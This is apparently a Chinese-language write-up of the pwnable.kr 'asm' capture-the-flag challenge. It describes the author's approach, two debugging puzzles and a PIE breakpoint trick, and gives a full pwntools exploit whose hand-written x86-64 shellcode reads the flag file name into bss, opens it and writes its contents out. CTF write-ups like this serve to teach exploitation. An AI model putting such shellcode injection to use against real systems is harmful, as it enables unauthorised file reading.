pwnable.kr

一开始思路有点跑偏了，想把整个文件名的字符串 push 到栈中，然后就弄得比较复杂。因为自己思维定势比较严重，就认定了要先调用 open 打开文件，再调用 read读入文件内容到 bss 段，最后调用 write 输出到屏幕。后来灵光一闪，发现可以先调用 read 从命令行读取输入到 bss 段，把文件名作为输入放到 bss 段，再调用 open 打开文件。

困惑

1. 思路有了，中间还碰到点小问题，不知道为什么 gdb 调试的时候，执行 push 命令，然后 ip 突然变为0x41415000，超出了 mmap 的segment的边界，引发了段错误，想了很久也没有想通。但直接运行程序的时候就一点问题也没有。
2. 不知道为什么 gdb 调试程序突然无法插入断点，无法查看 vmmap，无法 disassemble main 了。可能电脑需要重启?

小技巧

gdb 调试的时候插入断点总是发现第二次打开的时候说断点不合法，checksec 发现程序开启了 PIE， 在 exp 文件中设置好 breakpoints 数组，里面存放断点的偏移量，然后每次打开程序的时候根据程序的基地址计算出断点的实际位置。

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" dddong / AAA """

from pwn import *
import sys, os, re

def __get_base(p, _path):
    _vmmap = open('/proc/%d/maps' % p.proc.pid).read()
    _regex = '^.* r-xp .* {}$'.format(_path)
    _line = [_ for _ in _vmmap.split('\n') if re.match(_regex, _)][0]

    return int(_line.split('-')[0], 16)

context(arch='amd64', os='linux', log_level='info')
context(terminal=['gnome-terminal', '-x', 'bash', '-c'])

_program = 'asm'
_pwn_remote = 0
_debug = int(sys.argv[1]) if len(sys.argv) > 1 else 0
```

```
21
22  elf = ELF('./' + _program)
23
24  if _pwn_remote == 0:
25      p = process('./' + _program)
26
27      if _debug != 0:
28          if elf.pie:
29              print "pie detect!"
30              _bps = [0xea7]
31              _offset = __get_base(p, os.path.abspath(p.executable))
32              _source = '\n'.join(['b*%d' % (_offset + _) for _ in _bps])
33          else:
34              _source = 'source peda-session-%s.txt' % _program
35          gdb.attach(p.proc.pid, execute=_source)
36  else:
37      _ssh = ssh('asm', 'pwnable.kr', 2222, password='guest')
38      p = _ssh.process(['nc', '0', '9026'])
39
40
41
42  filename =
    "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is
    _very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
    ooooooooo000000000000000000000000ooooooooooooooooooooo000000000000o0o0o
    0o0o0o0ong"
43
44
45  """
46  sc += shellcraft.read(0, elf.bss(20), 250)
47  sc += shellcraft.open(elf.bss(20), 0, 0)
48  sc += shellcraft.read(3, elf.bss(100), 0x100)
49  sc += shellcraft.write(0, elf.bss(100), 50)
50  """
51  sc = """mov r15, [rsp]   /* r15 save the ret addr */
52      sub r15, 0xea9
53      add r15, 0x202100    /* r15 points to the bss base addr */
54      /* call read(0, bss(0), 0x100) */
55      xor rax, rax /* (SYS_read) */
56      xor rdi, rdi /* 0 */
57      mov rsi, r15
58      mov edx, 0x100
59      push r15
60      syscall
61      pop r15
62      /* call open(bss(0), 0, 0) */
```

```
    mov rax, 2
    mov rdi, r15
    xor rsi, rsi
    xor rdx, rdx
    push r15
    syscall
    pop r15
    /* call read(3, bss(0), 256) */
    xor eax, eax /* (SYS_read) */
    mov rdi, 3
    mov rsi, r15
    add rsi, 250
    mov rdx, 0x100
    push r15
    syscall
    pop r15
    /* call write(2, bss(0), 50) */
    mov rax, 1
    mov rdi, 2
    mov rsi, r15
    add rsi, 250
    mov rdx, 50
    push r15
    syscall
    pop r15
    """
#print sc
payload = asm(sc)
#print payload
p.sendafter("shellcode:", payload)
p.send(filename + '\x00')
print p.recvrepeat(0.5)
```